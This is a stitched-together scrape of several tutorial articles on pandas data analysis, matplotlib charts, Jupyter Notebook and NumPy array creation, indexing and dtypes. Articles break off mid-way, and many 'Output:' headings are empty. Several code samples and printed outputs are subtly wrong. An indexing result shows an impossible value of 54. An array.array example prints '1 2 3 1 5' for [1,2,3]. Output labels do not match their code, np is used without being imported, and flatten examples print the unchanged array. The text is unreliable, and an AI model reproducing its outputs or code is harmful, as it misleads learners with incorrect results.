Another useful method if value_counts() which can get count of each category in a categorical attributed series of values. For an instance suppose you are dealing with a dataset of customers who are divided as youth, medium and old categories under column name age and your dataframe is “DF”. You can run this statement to know how many people fall in respective categories. In our data set example education column can be used
Python3
DF["education"].value_counts()
The output of the above code will be:
One more useful tool is boxplot which you can use through matplotlib module. Boxplot is a pictorial representation of distribution of data which shows extreme values, median and quartiles. We can easily figure out outliers by using boxplots. Now consider the dataset we’ve been dealing with again and lets draw a boxplot on attribute population
The output plot would look like this with spotting out outliers:
Grouping data
Group by is an interesting measure available in pandas which can help us figure out effect of different categorical attributes on other data variables. Let’s see an example on the same dataset where we want to figure out affect of people’s age and education on the voting dataset.
Python3
DF.groupby(['education', 'vote']).mean()
The output would be somewhat like this:
If this group by output table is less understandable further analysts use pivot tables and heat maps for visualization on them.
ANOVA
ANOVA stands for Analysis of Variance. It is performed to figure out the relation between the different group of categorical data. Under ANOVA we have two measures as result: – F-testscore : which shows the variation of groups mean over variation – p-value: it shows the importance of the result This can be performed using python module scipy method name f_oneway() Syntax:
These samples are sample measurements for each group. As a conclusion, we can say that there is a strong correlation between other variables and a categorical variable if the ANOVA test gives us a large F-test value and a small p-value.
Correlation and Correlation computation
Correlation is a simple relationship between two variables in a context such that one variable affects the other. Correlation is different from act of causing. One way to calculate correlation among variables is to find Pearson correlation. Here we find two parameters namely, Pearson coefficient and p-value. We can say there is a strong correlation between two variables when Pearson correlation coefficient is close to either 1 or -1 and the p-value is less than 0.0001. Scipy module also provides a method to perform pearson correlation analysis, syntax:
Here samples are the attributes you want to compare. This is a brief overview of EDA in python, we can do lots more! Happy digging!
My Personal Notesarrow_drop_up
Data visualization with different Charts in Python
Data Visualization is the presentation of data in graphical format. It helps people understand the significance of data by summarizing and presenting huge amount of data in a simple and easy-to-understand format and helps communicate information clearly and effectively.
Consider this given Data-set for which we will be plotting different charts :
Different Types of Charts for Analyzing & Presenting Data
1. Histogram : The histogram represents the frequency of occurrence of specific phenomena which lie within a specific range of values and arranged in consecutive and fixed intervals.
In below code histogram is plotted for Age, Income, Sales. So these plots in the output shows frequency of each unique value for each attribute.
2. Column Chart : A column chart is used to show a comparison among different attributes, or it can show a comparison of items over time.
# Dataframe of previous code is used here
# Plot the bar chart for numeric values
# a comparison will be shown between
# all 3 age, income, sales
df.plot.bar()
# plot between 2 attributes
plt.bar(df['Age'], df['Sales'])
plt.xlabel("Age")
plt.ylabel("Sales")
plt.show()
Output :
3. Box plot chart : A box plot is a graphical representation of statistical data based on the minimum, first quartile, median, third quartile, and maximum. The term “box plot” comes from the fact that the graph looks like a rectangle with lines extending from the top and bottom. Because of the extending lines, this type of graph is sometimes called a box-and-whisker plot. For quantile and median refer to this Quantile and median.
# For each numeric attribute of dataframe
df.plot.box()
# individual attribute box plot
plt.boxplot(df['Income'])
plt.show()
Output :
4. Pie Chart : A pie chart shows a static number and how categories represent part of a whole the composition of something. A pie chart represents numbers in percentages, and the total sum of all segments needs to equal 100%.
plt.pie(df['Age'], labels ={"A", "B", "C",
"D", "E", "F",
"G", "H", "I", "J"},
autopct ='% 1.1f %%', shadow =True)
plt.show()
plt.pie(df['Income'], labels ={"A", "B", "C",
"D", "E", "F",
"G", "H", "I", "J"},
autopct ='% 1.1f %%', shadow =True)
plt.show()
plt.pie(df['Sales'], labels ={"A", "B", "C",
"D", "E", "F",
"G", "H", "I", "J"},
autopct ='% 1.1f %%', shadow =True)
plt.show()
Output :
5. Scatter plot : A scatter chart shows the relationship between two different variables and it can reveal the distribution trends. It should be used when there are many different data points, and you want to highlight similarities in the data set. This is useful when looking for outliers and for understanding the distribution of your data.
Python is a great language for doing data analysis, primarily because of the fantastic ecosystem of data-centric Python packages. Pandas is one of those packages, and makes importing and analyzing data much easier. In this article, I have used Pandas to analyze data on Country Data.csv file from UN public Data Sets of a popular ‘statweb.stanford.edu’ website. As I have analyzed the Indian Country Data, I have introduced Pandas key concepts as below. Before going through this article, have a rough idea of basics from matplotlib and csv.
Installation Easiest way to install pandas is to use pip:
Creation of dataframe is done by passing multiple Series into the DataFrame class using pd.Series method. Here, it is passed in the two Series objects, s1 as the first row, and s2 as the second row. Example:
# assigning two series to s1 and s2
s1 =pd.Series([1,2])
s2 =pd.Series(["Ashish", "Sid"])
# framing series objects into data
df =pd.DataFrame([s1,s2])
# show the data frame
df
# data framing in another way
# taking index and column values
dframe =pd.DataFrame([[1,2],["Ashish", "Sid"]],
index=["r1", "r2"],
columns=["c1", "c2"])
dframe
# framing in another way
# dict-like container
dframe =pd.DataFrame({
"c1": [1, "Ashish"],
"c2": [2, "Sid"]})
dframe
Output:
Importing Data with Pandas
The first step is to read the data. The data is stored as a comma-separated values, or csv, file, where each row is separated by a new line, and each column by a comma (,). In order to be able to work with the data in Python, it is needed to read the csv file into a Pandas DataFrame. A DataFrame is a way to represent and work with tabular data. Tabular data has rows and columns, just like this csv file(Click Download). Example:
# Import the pandas library, renamed as pd
importpandas as pd
# Read IND_data.csv into a DataFrame, assigned to df
df =pd.read_csv("IND_data.csv")
# Prints the first 5 rows of a DataFrame as default
df.head()
# Prints no. of rows and columns of a DataFrame
df.shape
Output:
29,10
Indexing DataFrames with Pandas
Indexing can be possible using the pandas.DataFrame.iloc method. The iloc method allows to retrieve as many as rows and columns by position. Examples:
# prints first 5 rows and every column which replicates df.head()
df.iloc[0:5,:]
# prints entire rows and columns
df.iloc[:,:]
# prints from 5th rows and first 5 columns
df.iloc[5:,:5]
Indexing Using Labels in Pandas
Indexing can be worked with labels using the pandas.DataFrame.loc method, which allows to index using labels instead of positions. Examples:
# prints first five rows including 5th index and every columns of df
df.loc[0:5,:]
# prints from 5th rows onwards and entire columns
df =df.loc[5:,:]
The above doesn’t actually look much different from df.iloc[0:5,:]. This is because while row labels can take on any values, our row labels match the positions exactly. But column labels can make things much easier when working with data. Example:
# Prints the first 5 rows of Time period
# value
df.loc[:5,"Time period"]
DataFrame Math with Pandas
Computation of data frames can be done by using Statistical Functions of pandas tools. Examples:
# computes various summary statistics, excluding NaN values
df.describe()
# for computing correlations
df.corr()
# computes numerical data ranks
df.rank()
Pandas Plotting
Plots in these examples are made using standard convention for referencing the matplotlib API which provides the basics in pandas to easily create decent looking plots. Examples:
# import the required module
importmatplotlib.pyplot as plt
# plot a histogram
df['Observation Value'].hist(bins=10)
# shows presence of a lot of outliers/extreme values
df.boxplot(column='Observation Value', by ='Time period')
This article is contributed by Afzal_Saan. If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
My Personal Notesarrow_drop_up
Data Analysis and Visualization with Python | Set 2
Pandas provide to.csv('filename', index = "False|True") function to write DataFrame into a CSV file. Here filename is the name of the CSV file that you want to create and index tells that index (if Default) of DataFrame should be overwritten or not. If we set index = False then the index is not overwritten. By Default value of index is TRUE then index is overwritten.
Example :
importpandas as pd
# assigning three series to s1, s2, s3
s1 =pd.Series([0, 4, 8])
s2 =pd.Series([1, 5, 9])
s3 =pd.Series([2, 6, 10])
# taking index and column values
dframe =pd.DataFrame([s1, s2, s3])
# assign column name
dframe.columns =['Geeks', 'For', 'Geeks']
# write data to csv file
dframe.to_csv('geeksforgeeks.csv', index =False)
dframe.to_csv('geeksforgeeks1.csv', index =True)
Output :
geeksforgeeks1.csv
geeksforgeeks2.csv
2. Handling Missing Data
The Data Analysis Phase also comprises of the ability to handle the missing data from our dataset, and not so surprisingly Pandas live up to that expectation as well. This is where dropna and/or fillna methods comes into the play. While dealing with the missing data, you as a Data Analyst are either supposed to drop the column containing the NaN values (dropna method) or fill in the missing data with mean or mode of the whole column entry (fillna method), this decision is of great significance and depends upon the data and the affect would create in our results.
Drop the missing Data : Consider this is the DataFrame generated by below code :
importpandas as pd
# Create a DataFrame
dframe =pd.DataFrame({'Geeks': [23, 24, 22],
'For': [10, 12, np.nan],
'geeks': [0, np.nan, np.nan]},
columns =['Geeks', 'For', 'geeks'])
# This will remove all the
# rows with NAN values
# If axis is not defined then
# it is along rows i.e. axis = 0
dframe.dropna(inplace =True)
print(dframe)
# if axis is equal to 1
dframe.dropna(axis =1, inplace =True)
print(dframe)
Output :
axis=0
axis=1
Fill the missing values : Now, to replace any NaN value with mean or mode of the data, fillna is used, which could replace all the NaN values from a particular column or even in whole DataFrame as per the requirement.
The groupby method allows us to group together the data based off any row or column, thus we can further apply the aggregate functions to analyze our data. Group series using mapper (dict or key function, apply given function to group, return result as series) or by a series of columns.
Consider this is the DataFrame generated by below code :
Python is a great language for doing data analysis, primarily because of the fantastic ecosystem of data-centric Python packages. Pandas is one of those packages and makes importing and analyzing data much easier. There are some important math operations that can be performed on a pandas series to simplify data analysis using Python and save a lot of time.
The Jupyter Notebook is an open-source web application that allows you to create and share documents that contain live code, equations, visualizations and narrative text. Uses include data cleaning and transformation, numerical simulation, statistical modeling, data visualization, machine learning, and much more.
Jupyter has support for over 40 different programming languages and Python is one of them. Python is a requirement (Python 3.3 or greater, or Python 2.7) for installing the Jupyter Notebook itself.
Install Jupyter using Anaconda: Install Python and Jupyter using the Anaconda Distribution, which includes Python, the Jupyter Notebook, and other commonly used packages for scientific computing and data science. You can download Anaconda’s latest Python3 version from here. Now, install the downloaded version of Anaconda.
This will print some information about the notebook server in your terminal, including the URL of the web application (by default, http://localhost:8888) and then open your default web browser to this URL.
When the notebook opens in your browser, you will see the Notebook Dashboard, which will show a list of the notebooks, files, and subdirectories in the directory where the notebook server was started. Most of the time, you will wish to start a notebook server in the highest level directory containing notebooks. Often this will be your home directory.
Create a new Notebook: Now on the dashboard, you can see a new button at the top right corner. Click it to open a drop-down list and then if you’ll click on Python3, it will open a new notebook.
Few Useful Commands:
Command to open a notebook in the currently running notebook server.
jupyter notebook notebook_name.ipynb
By default, the notebook server starts on port 8888. If port 8888 is unavailable or in use, the notebook server searches the next available port. You may also specify a port manually. In this example, we set the server’s port to 9999:
jupyter notebook --port 9999
Command to start the notebook server without opening a web browser:
jupyter notebook --no-browser
The notebook server provides help messages for other command line arguments using the –help flag:
jupyter notebook --help
Running your First code in Jupyter:
Step #1: After successfully installing Jupyter write ‘jupyter notebook’ in the terminal/command prompt. This will open a new notebook server on your web browser. Step #2: On the top left corner, click on the new button and select python3. This will open a new notebook tab in your browser where you can start to write your first code. Step #3: Press Enter or click on the first cell in your notebook to go into the edit mode. Step #4: Now you are free to write any code. Step #5: You can run your code by pressing Shift + Enter or the run button provided at the top. An example code is given below:
Some useful keyboard shortcuts:
To change modes(edit, command):
Esc - Change mode to command mode
Enter - Change mode to edit mode
To change content type(code or markdown) [in command mode]
m - Change to markdown
y - Change to code
To execute code or markdown [any mode]
Shift + Enter - Execute and go to next cell
Ctrl + Enter - Execute and be in the same cell
To insert cell [in command mode]
a - Create cell in above to the cell
b - Create cell in below to the cell
To cut copy paste [in command mode]
x - Cut the cell that can be paste anywhere any number of times
c - Copy the cell that can be paste anywhere and any number of times
v - Paste the cell
My Personal Notesarrow_drop_up
Python Numpy
Last Updated :15 Oct, 2018
Numpy is a general-purpose array-processing package. It provides a high-performance multidimensional array object, and tools for working with these arrays. It is the fundamental package for scientific computing with Python. Besides its obvious scientific uses, Numpy can also be used as an efficient multi-dimensional container of generic data.
Arrays in Numpy
Array in Numpy is a table of elements (usually numbers), all of the same type, indexed by a tuple of positive integers. In Numpy, number of dimensions of the array is called rank of the array.A tuple of integers giving the size of the array along each dimension is known as shape of the array. An array class in Numpy is called as ndarray. Elements in Numpy arrays are accessed by using square brackets and can be initialized by using nested Python Lists.
Creating a Numpy Array Arrays in Numpy can be created by multiple ways, with various number of Ranks, defining the size of the Array. Arrays can also be created with the use of various data types such as lists, tuples, etc. The type of the resultant array is deduced from the type of the elements in the sequences. Note: Type of array can be explicitly defined while creating the array.
# Python program for
# Creation of Arrays
import numpy as np
# Creating a rank 1 Array
arr = np.array([1, 2, 3])
print("Array with Rank 1: \n",arr)
# Creating a rank 2 Array
arr = np.array([[1, 2, 3],
[4, 5, 6]])
print("Array with Rank 2: \n", arr)
# Creating an array from tuple
arr = np.array((1, 3, 2))
print("\nArray created using "
"passed tuple:\n", arr)
Output:
Array with Rank 1:
[1 2 3]
Array with Rank 2:
[[1 2 3]
[4 5 6]]
Array created using passed tuple:
[1 3 2]
Accessing the array Index In a numpy array, indexing or accessing the array index can be done in multiple ways. To print a range of an array, slicing is done. Slicing of an array is defining a range in a new array which is used to print a range of elements from the original array. Since, sliced array holds a range of elements of the original array, modifying content with the help of sliced array modifies the original array content.
# Python program to demonstrate
# indexing in numpy array
import numpy as np
# Initial Array
arr = np.array([[-1, 2, 0, 4],
[4, -0.5, 6, 0],
[2.6, 0, 7, 8],
[3, -7, 4, 2.0]])
print("Initial Array: ")
print(arr)
# Printing a range of Array
# with the use of slicing method
sliced_arr = arr[:2, ::2]
print ("Array with first 2 rows and"
" alternate columns(0 and 2):\n", sliced_arr)
# Printing elements at
# specific Indices
Index_arr = arr[[1, 1, 0, 3],
[3, 2, 1, 0]]
print ("\nElements at indices (1, 3), "
"(1, 2), (0, 1), (3, 0):\n", Index_arr)
Output:
Initial Array:
[[-1. 2. 0. 4. ]
[ 4. -0.5 6. 0. ]
[ 2.6 0. 7. 8. ]
[ 3. -7. 4. 2. ]]
Array with first 2 rows and alternate columns(0 and 2):
[[-1. 0.]
[ 4. 6.]]
Elements at indices (1, 3), (1, 2), (0, 1), (3, 0):
[ 0. 54. 2. 3.]
Basic Array Operations In numpy, arrays allow a wide range of operations which can be performed on a particular array or a combination of Arrays. These operation include some basic Mathematical operation as well as Unary and Binary operations.
# Python program to demonstrate
# basic operations on single array
import numpy as np
# Defining Array 1
a = np.array([[1, 2],
[3, 4]])
# Defining Array 2
b = np.array([[4, 3],
[2, 1]])
# Adding 1 to every element
print ("Adding 1 to every element:", a + 1)
# Subtracting 2 from each element
print ("\nSubtracting 2 from each element:", b - 2)
# sum of array elements
# Performing Unary operations
print ("\nSum of all array "
"elements: ", a.sum())
# Adding two arrays
# Performing Binary operations
print ("\nArray sum:\n", a + b)
Output:
Adding 1 to every element:
[[2 3]
[4 5]]
Subtracting 2 from each element:
[[ 2 1]
[ 0 -1]]
Sum of all array elements: 10
Array sum:
[[5 5]
[5 5]]
Every Numpy array is a table of elements (usually numbers), all of the same type, indexed by a tuple of positive integers. Every ndarray has an associated data type (dtype) object. This data type object (dtype) provides information about the layout of the array. The values of an ndarray are stored in a buffer which can be thought of as a contiguous block of memory bytes which can be interpreted by the dtype object. Numpy provides a large set of numeric datatypes that can be used to construct arrays. At the time of Array creation, Numpy tries to guess a datatype, but functions that construct arrays usually also include an optional argument to explicitly specify the datatype.
Constructing a Datatype Object In Numpy, datatypes of Arrays need not to be defined unless a specific datatype is required. Numpy tries to guess the datatype for Arrays which are not predefined in the constructor function.
# Python Program to create
# a data type object
import numpy as np
# Integer datatype
# guessed by Numpy
x = np.array([1, 2])
print("Integer Datatype: ")
print(x.dtype)
# Float datatype
# guessed by Numpy
x = np.array([1.0, 2.0])
print("\nFloat Datatype: ")
print(x.dtype)
# Forced Datatype
x = np.array([1, 2], dtype = np.int64)
print("\nForcing a Datatype: ")
print(x.dtype)
Output:
Integer Datatype:
int64
Float Datatype:
float64
Forcing a Datatype:
int64
Math Operations on DataType array In Numpy arrays, basic mathematical operations are performed element-wise on the array. These operations are applied both as operator overloads and as functions. Many useful functions are provided in Numpy for performing computations on Arrays such as sum: for addition of Array elements, T: for Transpose of elements, etc.
# Python Program to create
# a data type object
import numpy as np
# First Array
arr1 = np.array([[4, 7], [2, 6]],
dtype = np.float64)
# Second Array
arr2 = np.array([[3, 6], [2, 8]],
dtype = np.float64)
# Addition of two Arrays
Sum = np.add(arr1, arr2)
print("Addition of Two Arrays: ")
print(Sum)
# Addition of all Array elements
# using predefined sum method
Sum1 = np.sum(arr1)
print("\nAddition of Array elements: ")
print(Sum1)
# Square root of Array
Sqrt = np.sqrt(arr1)
print("\nSquare root of Array1 elements: ")
print(Sqrt)
# Transpose of Array
# using In-built function 'T'
Trans_arr = arr1.T
print("\nTranspose of Array: ")
print(Trans_arr)
Output:
Addition of Two Arrays:
[[ 7. 13.]
[ 4. 14.]]
Addition of Array elements:
19.0
Square root of Array1 elements:
[[2. 2.64575131]
[1.41421356 2.44948974]]
Transpose of Array:
[[4. 2.]
[7. 6.]]
Array in Numpy is a table of elements (usually numbers), all of the same type, indexed by a tuple of positive integers. In Numpy, number of dimensions of the array is called rank of the array.A tuple of integers giving the size of the array along each dimension is known as shape of the array. An array class in Numpy is called as ndarray. Elements in Numpy arrays are accessed by using square brackets and can be initialized by using nested Python Lists.
Example :
[[ 1, 2, 3],
[ 4, 2, 5]]
Here, rank = 2 (as it is 2-dimensional or it has 2 axes)
First dimension(axis) length = 2, second dimension has length = 3
overall shape can be expressed as: (2, 3)
# Python program to demonstrate
# basic array characteristics
import numpy as np
# Creating array object
arr = np.array( [[ 1, 2, 3],
[ 4, 2, 5]] )
# Printing type of arr object
print("Array is of type: ", type(arr))
# Printing array dimensions (axes)
print("No. of dimensions: ", arr.ndim)
# Printing shape of array
print("Shape of array: ", arr.shape)
# Printing size (total number of elements) of array
print("Size of array: ", arr.size)
# Printing type of elements in array
print("Array stores elements of type: ", arr.dtype)
Output :
Array is of type: <class 'numpy.ndarray'>
No. of dimensions: 2
Shape of array: (2, 3)
Size of array: 6
Array stores elements of type: int64
For example, you can create an array from a regular Python list or tuple using the array function. The type of the resulting array is deduced from the type of the elements in the sequences.
Often, the elements of an array are originally unknown, but its size is known. Hence, NumPy offers several functions to create arrays with initial placeholder content. These minimize the necessity of growing arrays, an expensive operation. For example: np.zeros, np.ones, np.full, np.empty, etc.
To create sequences of numbers, NumPy provides a function analogous to range that returns arrays instead of lists.
arange: returns evenly spaced values within a given interval. step size is specified.
linspace: returns evenly spaced values within a given interval. num no. of elements are returned.
Reshaping array: We can use reshape method to reshape an array. Consider an array with shape (a1, a2, a3, …, aN). We can reshape and convert it into another array with shape (b1, b2, b3, …, bM). The only required condition is: a1 x a2 x a3 … x aN = b1 x b2 x b3 … x bM . (i.e original size of array remains unchanged.)
Flatten array: We can use flatten method to get a copy of array collapsed into one dimension. It accepts order argument. Default value is ‘C’ (for row-major order). Use ‘F’ for column major order.
Note: Type of array can be explicitly defined while creating array.
# Python program to demonstrate
# array creation techniques
import numpy as np
# Creating array from list with type float
a = np.array([[1, 2, 4], [5, 8, 7]], dtype = 'float')
print ("Array created using passed list:\n", a)
# Creating array from tuple
b = np.array((1 , 3, 2))
print ("\nArray created using passed tuple:\n", b)
# Creating a 3X4 array with all zeros
c = np.zeros((3, 4))
print ("\nAn array initialized with all zeros:\n", c)
# Create a constant value array of complex type
d = np.full((3, 3), 6, dtype = 'complex')
print ("\nAn array initialized with all 6s."
"Array type is complex:\n", d)
Output :
Array created using passed list:
[[ 1. 2. 4.]
[ 5. 8. 7.]]
Array created using passed tuple:
[1 3 2]
An array initialized with all zeros:
[[ 0. 0. 0. 0.]
[ 0. 0. 0. 0.]
[ 0. 0. 0. 0.]]
An array initialized with all 6s. Array type is complex:
[[ 6.+0.j 6.+0.j 6.+0.j]
[ 6.+0.j 6.+0.j 6.+0.j]
[ 6.+0.j 6.+0.j 6.+0.j]]
Knowing the basics of array indexing is important for analysing and manipulating the array object. NumPy offers many ways to do array indexing.
Slicing: Just like lists in python, NumPy arrays can be sliced. As arrays can be multidimensional, you need to specify a slice for each dimension of the array.
Integer array indexing: In this method, lists are passed for indexing for each dimension. One to one mapping of corresponding elements is done to construct a new arbitrary array.
Boolean array indexing: This method is used when we want to pick elements from array which satisfy some condition.
# Python program to demonstrate
# indexing in numpy
import numpy as np
# An exemplar array
arr = np.array([[-1, 2, 0, 4],
[4, -0.5, 6, 0],
[2.6, 0, 7, 8],
[3, -7, 4, 2.0]])
# Slicing array
temp = arr[:2, ::2]
print ("Array with first 2 rows and alternate"
"columns(0 and 2):\n", temp)
# Integer array indexing example
temp = arr[[0, 1, 2, 3], [3, 2, 1, 0]]
print ("\nElements at indices (0, 3), (1, 2), (2, 1),"
"(3, 0):\n", temp)
# boolean array indexing example
cond = arr > 0 # cond is a boolean array
temp = arr[cond]
print ("\nElements greater than 0:\n", temp)
Output :
Array with first 2 rows and alternatecolumns(0 and 2):
[[-1. 0.]
[ 4. 6.]]
Elements at indices (0, 3), (1, 2), (2, 1),(3, 0):
[ 4. 6. 0. 3.]
Elements greater than 0:
[ 2. 4. 4. 6. 2.6 7. 8. 3. 4. 2. ]
Basic operations
Plethora of built-in arithmetic functions are provided in NumPy.
Operations on single array: We can use overloaded arithmetic operators to do element-wise operation on array to create a new array. In case of +=, -=, *= operators, the exsisting array is modified.
# Python program to demonstrate
# basic operations on single array
import numpy as np
a = np.array([1, 2, 5, 3])
# add 1 to every element
print ("Adding 1 to every element:", a+1)
# subtract 3 from each element
print ("Subtracting 3 from each element:", a-3)
# multiply each element by 10
print ("Multiplying each element by 10:", a*10)
# square each element
print ("Squaring each element:", a**2)
# modify existing array
a *= 2
print ("Doubled each element of original array:", a)
# transpose of array
a = np.array([[1, 2, 3], [3, 4, 5], [9, 6, 0]])
print ("\nOriginal array:\n", a)
print ("Transpose of array:\n", a.T)
Output :
Adding 1 to every element: [2 3 6 4]
Subtracting 3 from each element: [-2 -1 2 0]
Multiplying each element by 10: [10 20 50 30]
Squaring each element: [ 1 4 25 9]
Doubled each element of original array: [ 2 4 10 6]
Original array:
[[1 2 3]
[3 4 5]
[9 6 0]]
Transpose of array:
[[1 3 9]
[2 4 6]
[3 5 0]]
Unary operators: Many unary operations are provided as a method of ndarray class. This includes sum, min, max, etc. These functions can also be applied row-wise or column-wise by setting an axis parameter.
# Python program to demonstrate
# unary operators in numpy
import numpy as np
arr = np.array([[1, 5, 6],
[4, 7, 2],
[3, 1, 9]])
# maximum element of array
print ("Largest element is:", arr.max())
print ("Row-wise maximum elements:",
arr.max(axis = 1))
# minimum element of array
print ("Column-wise minimum elements:",
arr.min(axis = 0))
# sum of array elements
print ("Sum of all array elements:",
arr.sum())
# cumulative sum along each row
print ("Cumulative sum along each row:\n",
arr.cumsum(axis = 1))
Output :
Largest element is: 9
Row-wise maximum elements: [6 7 9]
Column-wise minimum elements: [1 1 2]
Sum of all array elements: 38
Cumulative sum along each row:
[[ 1 6 12]
[ 4 11 13]
[ 3 4 13]]
Binary operators: These operations apply on array elementwise and a new array is created. You can use all basic arithmetic operators like +, -, /, , etc. In case of +=, -=, = operators, the exsisting array is modified.
# Python program to demonstrate
# binary operators in Numpy
import numpy as np
a = np.array([[1, 2],
[3, 4]])
b = np.array([[4, 3],
[2, 1]])
# add arrays
print ("Array sum:\n", a + b)
# multiply arrays (elementwise multiplication)
print ("Array multiplication:\n", a*b)
# matrix multiplication
print ("Matrix multiplication:\n", a.dot(b))
Universal functions (ufunc): NumPy provides familiar mathematical functions such as sin, cos, exp, etc. These functions also operate elementwise on an array, producing an array as output.
Note: All the operations we did above using overloaded operators can be done using ufuncs like np.add, np.subtract, np.multiply, np.divide, np.sum, etc.
# Python program to demonstrate
# universal functions in numpy
import numpy as np
# create an array of sine values
a = np.array([0, np.pi/2, np.pi])
print ("Sine values of array elements:", np.sin(a))
# exponential values
a = np.array([0, 1, 2, 3])
print ("Exponent of array elements:", np.exp(a))
# square root of array values
print ("Square root of array elements:", np.sqrt(a))
Output:
Sine values of array elements: [ 0.00000000e+00 1.00000000e+00 1.22464680e-16]
Exponent of array elements: [ 1. 2.71828183 7.3890561 20.08553692]
Square root of array elements: [ 0. 1. 1.41421356 1.73205081]
Every ndarray has an associated data type (dtype) object. This data type object (dtype) informs us about the layout of the array. This means it gives us information about :
Type of the data (integer, float, Python object etc.)
Size of the data (number of bytes)
Byte order of the data (little-endian or big-endian)
If the data type is a sub-array, what is its shape and data type.
The values of a ndarray are stored in a buffer which can be thought of as a contiguous block of memory bytes. So how these bytes will be interpreted is given by the dtype object. Every Numpy array is a table of elements (usually numbers), all of the same type, indexed by a tuple of positive integers. Every ndarray has an associated data type (dtype) object. This data type object (dtype) provides information about the layout of the array. The vaues of an ndarray are stored in a buffer which can be thought of as a contiguous block of memory bytes which can be interpreted by the dtype object. Numpy provides a large set of numeric datatypes that can be used to construct arrays. At the time of Array creation, Numpy tries to guess a datatype, but functions that construct arrays usually also include an optional argument to explicitly specify the datatype.
# Python Program to create a data type object
import numpy as np
# np.int16 is converted into a data type object.
print(np.dtype(np.int16))
Output:
int16
# Python Program to create a data type object
# containing a 32 bit big-endian integer
import numpy as np
# i4 represents integer of size 4 byte
# > represents big-endian byte ordering and
# < represents little-endian encoding.
# dt is a dtype object
dt = np.dtype('>i4')
print("Byte order is:",dt.byteorder)
print("Size is:",dt.itemsize)
print("Data type is:",dt.name)
Output:
Byte order is: >
Size is: 4
Name of data type is: int32
My Personal Notesarrow_drop_up
Numpy | Array Creation
Last Updated :15 Nov, 2018
Array creation using List : Arrays are used to store multiple values in one single variable.Python does not have built-in support for Arrays, but Python lists can be used instead. Example :
# Python program to create
# an array
# Creating an array using list
arr=[1, 2, 3, 4, 5]
for i in arr:
print(i)
Output:
1
2
3
4
5
Array creation using array functions : array(data type, value list) function is used to create an array with data type and value list specified in its arguments. Example :
# Python code to demonstrate the working of
# array()
# importing "array" for array operations
import array
# initializing array with array values
# initializes array with signed integers
arr = array.array('i', [1, 2, 3])
# printing original array
print ("The new created array is : ",end="")
for i in range (0,3):
print (arr[i], end=" ")
print ("\r")
Output:
The new created array is : 1 2 3 1 5
Array creation using numpy methods : NumPy offers several functions to create arrays with initial placeholder content. These minimize the necessity of growing arrays, an expensive operation. For example: np.zeros,np.empty etc.
# Python Programming illustrating
# numpy.empty method
import numpy as geek
b = geek.empty(2, dtype = int)
print("Matrix b : \n", b)
a = geek.empty([2, 2], dtype = int)
print("\nMatrix a : \n", a)
c = geek.empty([3, 3])
print("\nMatrix c : \n", c)
Output :
Matrix b :
[ 0 1079574528]
Matrix a :
[[0 0]
[0 0]]
Matrix a :
[[ 0. 0. 0.]
[ 0. 0. 0.]
[ 0. 0. 0.]]
# Python Program illustrating
# numpy.zeros method
import numpy as geek
b = geek.zeros(2, dtype = int)
print("Matrix b : \n", b)
a = geek.zeros([2, 2], dtype = int)
print("\nMatrix a : \n", a)
c = geek.zeros([3, 3])
print("\nMatrix c : \n", c)
Output :
Matrix b :
[0 0]
Matrix a :
[[0 0]
[0 0]]
Matrix c :
[[ 0. 0. 0.]
[ 0. 0. 0.]
[ 0. 0. 0.]]
Reshaping array: We can use reshape method to reshape an array. Consider an array with shape (a1, a2, a3, …, aN). We can reshape and convert it into another array with shape (b1, b2, b3, …, bM). The only required condition is: a1 x a2 x a3 … x aN = b1 x b2 x b3 … x bM . (i.e original size of array remains unchanged.)
# Python Program illustrating
# numpy.reshape() method
import numpy as geek
array = geek.arange(8)
print("Original array : \n", array)
# shape array with 2 rows and 4 columns
array = geek.arange(8).reshape(2, 4)
print("\narray reshaped with 2 rows and 4 columns : \n", array)
# shape array with 2 rows and 4 columns
array = geek.arange(8).reshape(4 ,2)
print("\narray reshaped with 2 rows and 4 columns : \n", array)
# Constructs 3D array
array = geek.arange(8).reshape(2, 2, 2)
print("\nOriginal array reshaped to 3D : \n", array)
Output :
Original array :
[0 1 2 3 4 5 6 7]
array reshaped with 2 rows and 4 columns :
[[0 1 2 3]
[4 5 6 7]]
array reshaped with 2 rows and 4 columns :
[[0 1]
[2 3]
[4 5]
[6 7]]
Original array reshaped to 3D :
[[[0 1]
[2 3]]
[[4 5]
[6 7]]]
To create sequences of numbers, NumPy provides a function analogous to range that returns arrays instead of lists. arange returns evenly spaced values within a given interval. step size is specified. linspacereturns evenly spaced values within a given interval. num no. of elements are returned.
arange([start,] stop[, step,][, dtype]) : Returns an array with evenly spaced elements as per the interval. The interval mentioned is half opened i.e. [Start, Stop)
# Python Programming illustrating
# numpy.linspace method
import numpy as geek
# restep set to True
print("B\n", geek.linspace(2.0, 3.0, num=5, retstep=True), "\n")
# To evaluate sin() in long range
x = geek.linspace(0, 2, 10)
print("A\n", geek.sin(x))
Flatten array: We can use flatten method to get a copy of array collapsed into one dimension. It accepts order argument. Default value is ‘C’ (for row-major order). Use ‘F’ for column major order.
numpy.ndarray.flatten(order = ‘C’) : Return a copy of the array collapsed into one dimension.
# Python Program illustrating
# numpy.flatten() method
import numpy as geek
array = geek.array([[1, 2], [3, 4]])
# using flatten method
array.flatten()
print(array)
#using fatten method
array.flatten('F')
print(array)
Build a matrix object from a string, nested sequence, or array
My Personal Notesarrow_drop_up
Numpy | Data Type Objects
Last Updated :15 Nov, 2018
Every ndarray has an associated data type (dtype) object. This data type object (dtype) informs us about the layout of the array. This means it gives us information about :
Type of the data (integer, float, Python object etc.)
Size of the data (number of bytes)
Byte order of the data (little-endian or big-endian)
If the data type is a sub-array, what is its shape and data type.
The values of an ndarray are stored in a buffer which can be thought of as a contiguous block of memory bytes. So how these bytes will be interpreted is given by the dtype object.
Constructing a data type (dtype) object : Data type object is an instance of numpy.dtype class and it can be created using numpy.dtype.
Parameters:
obj: Object to be converted to a data type object. align : [bool, optional] Add padding to the fields to match what a C compiler would output for a similar C-struct. copy : [bool, optional] Make a new copy of the data-type object. If False, the result may just be a reference to a built-in data-type object.
# Python Program to create a data type object
import numpy as np
# np.int16 is converted into a data type object.
print(np.dtype(np.int16))
Output:
int16
# Python Program to create a data type object
# containing a 32 bit big-endian integer
import numpy as np
# i4 represents integer of size 4 byte
# > represents big-endian byte ordering and
# < represents little-endian encoding.
# dt is a dtype object
dt = np.dtype('>i4')
print("Byte order is:",dt.byteorder)
print("Size is:", dt.itemsize)
